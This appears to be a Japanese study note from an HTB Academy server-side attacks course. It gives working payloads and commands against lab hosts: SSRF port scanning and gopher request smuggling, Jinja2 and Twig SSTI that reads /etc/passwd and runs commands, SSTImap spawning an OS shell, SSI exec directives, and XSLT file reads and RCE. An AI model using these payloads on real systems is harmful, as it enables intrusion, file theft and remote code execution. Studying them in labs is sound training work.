コース

概要

サーバーサイドの脆弱性で起きる攻撃について触れる

SSRF

SSRFの識別

システムの列挙

ffufによるポートスキャンの自動化

seq 1 10000 > ports.txt
└─$ ffuf -w ./ports.txt -u http://10.129.183.53/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.129.183.53/index.php
 :: Wordlist         : FUZZ: /home/kali/Desktop/HTBAcademy/Server-Side-Attacks/ports.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Failed to connect to
________________________________________________

80                      [Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 4107ms]
3306                    [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 296ms]
:: Progress: [10000/10000] :: Job [1/1] :: 139 req/sec :: Duration: [0:01:20] :: Errors: 0 ::

ffufによるディレクトリリバーサル

ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80"

<SNIP>

[Status: 200, Size: 361, Words: 55, Lines: 16, Duration: 3872ms]
    * FUZZ: admin
[Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 6ms]
    * FUZZ: availability

LFI

POSTリクエストに、「file://」を利用することによって、Localfileを読み出すことだできる
HTTP POST request to /index.php with date parameter; response shows contents of /etc/passwd file.

gopherプロトコル

HTTP POST request to /index.php with date parameter; response shows Admin Dashboard login form.

HTTPだとこんな感じだよね

POST /admin.php HTTP/1.1
Host: dateserver.htb
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

adminpw=admin

これをgopherにする

gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin

ウェブアプリケーションがこのURLを処理すると、指定されたバイトがターゲットに送信される

POST /index.php HTTP/1.1
Host: 172.17.0.2
Content-Length: 265
Content-Type: application/x-www-form-urlencoded

dateserver=gopher%3a//dateserver.htb%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520dateserver.htb%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01

gopherプロトコルは、HTTPサーバーだけでなく、多くの内部サービスと対話するために使用できる
しかし作るのが大変なので、以下のツールでGopher URLを生成することができる

ブラインドSSRF

ブラインドSSRFの特定

システムの列挙

存在するファイル
HTTP POST request to /index.php with date parameter; response indicates date is unavailable.

存在しないファイル
HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!'

SSTI

テンプレートエンジン

テンプレート処理の必要な入力

テンプレート

エンジン

このテンプレートにエンジンを埋め込むことをレンダリングという

Jinjaはこんな感じ

Hello {{ name }}!

でもこんな感じで、条件分岐とかループも行える

以下は、names という変数のすべての要素に対してループ処理を行う for ループ例

{% for name in names %}
Hello {{ name }}!
{% endfor %}

namesにこのように設定すると、names=["vautia", "21y4d", "Pedant"]
以下のように出力する

Hello vautia!
Hello 21y4d!
Hello Pedant!

SSTIの概要

SSTI : サーバーサイドテンプレートインジェクション

じゃあ、いつSSTIが発生するのか

  1. レンダリング関数が呼ばれる前に、ユーザー入力がテンプレート文字列に埋め込まれる場合
  2. テンプレートが複数回レンダリングされる場合
    • たとえば、最初のレンダリングで生成された出力にユーザー入力を追加し、それを再びテンプレートとしてレンダリングすると、そのユーザー入力はテンプレートコードとして扱われてしまう可能性がある
  3. ユーザーがテンプレート自体を編集または送信できるようなWebアプリケーション
    1. SSTI 脆弱性が明確に存在することになる

表で動いているサイトだけが、SSTIの脆弱性を持つわけではない

SSTIの確認

ユーザーの入力がそのまま表示される時に発生しがち
SQLインジェクションと同じように、テンプレートエンジンで使われている特殊文字を使って、テスト文字列を使う

${{<%[%'"}}%\.

上を入力した時に、「500 Internal Server Error」が怒るときは、SSTIの脆弱性があるかもしれない

テンプレートエンジンの特定

Jinja2でのSSTI

情報漏洩

{{ config.items() }}

このペイロードにより、使用されているシークレットキーを含む全設定情報が表示されるため、さらなる攻撃の準備に利用できる

{{ self.__init__.__globals__.__builtins__ }}

LFI

{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

RCE

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

SSTIでコマンド実行する際の空白に関する注意点

Twig

情報漏洩

{{ _self }}

LFI

{{ "/etc/passwd"|file_excerpt(1,-1) }}

RCE

{{ ['id'] | filter('system') }}

SSTIでコマンド実行する際の空白に関する注意点

自動特定ツール

git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py

ファイルのダウンロード

snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
<SNIP>
[+] File downloaded correctly

コマンドの実行

snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id

<SNIP>

uid=33(www-data) gid=33(www-data) groups=33(www-data)

OSシェルの実行

snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell

<SNIP>

[+] Run commands on the operating system.
Linux $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Linux $ whoami
www-data

SSIインジェクション

SSIの使用は、以下のファイルの拡張子から推測できる

SSIディレクティブ

SSIディレクティブの構文例

<!--#name param1="value1" param2="value" -->

よく使われるSSIディレクティブ

環境変数の表示

<!--#printenv -->

SSIの設定を変更する・エラーメッセージを変更する例

<!--#config errmsg="Error!" -->

var パラメータで指定した変数の値を表示する

<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->

指定したコマンドの実行

<!--#exec cmd="whoami" -->

Webルートディレクトリ内のファイルを読み込み、挿入

<!--#include virtual="index.html" -->

概要

発生する可能性がある場面

確認

悪用

ユーザーの入力をそのまま使用している


ここの入力欄にSSIインジェクションを仕掛ける

環境編集の取得したい時

<!--#printenv -->

任意のコマンドを入れる時

<!--#exec cmd="id" -->

XSLTインジェクション

これはただのXML

<?xml version="1.0" encoding="UTF-8"?>
<fruits>
    <fruit>
        <name>Apple</name>
        <color>Red</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Banana</name>
        <color>Yellow</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Strawberry</name>
        <color>Red</color>
        <size>Small</size>
    </fruit>
</fruits>

XMLを操作するのが、XSLT

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template match="/fruits">
		Here are all the fruits:
		<xsl:for-each select="fruit">
			<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
		</xsl:for-each>
	</xsl:template>
</xsl:stylesheet>

XMLとXSLTを組み合わせると、こんな感じの出力になる

Here are all the fruits:
    Apple (Red)
    Banana (Yellow)
    Strawberry (Red)

その他よく出てくるXSL要素

例えば、サイズが「Medium」の果物のみを色の降順で並べたリストを作成するにはこうする

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template match="/fruits">
		Here are all fruits of medium size ordered by their color:
		<xsl:for-each select="fruit">
			<xsl:sort select="color" order="descending" />
			<xsl:if test="size = 'Medium'">
				<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
			</xsl:if>
		</xsl:for-each>
	</xsl:template>
</xsl:stylesheet>

出力

Here are all fruits of medium size ordered by their color:
    Banana (Yellow)
    Apple (Red)

概要

確認

情報漏洩

使用されているXSLTプロセッサに関する基本情報を取得するため、以下のようなXSLT要素を注入する

Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />

Webアプリケーションは以下のようにバージョンやベンダーの詳細を含んだレスポンスを返してくる

Local File Inclusion

unparsed-text 関数を使うとファイルを読み取れる

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

XSLTライブラリが PHP関数の呼び出しをサポートしている場合、以下のようにして file_get_contents 関数を使うことができる

<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

RCE

XSLTプロセッサがPHP関数をサポートしている場合、RCEできる
たとえば、system 関数を呼び出して以下のように id コマンドを実行できる

<xsl:value-of select="php:function('system','id')" />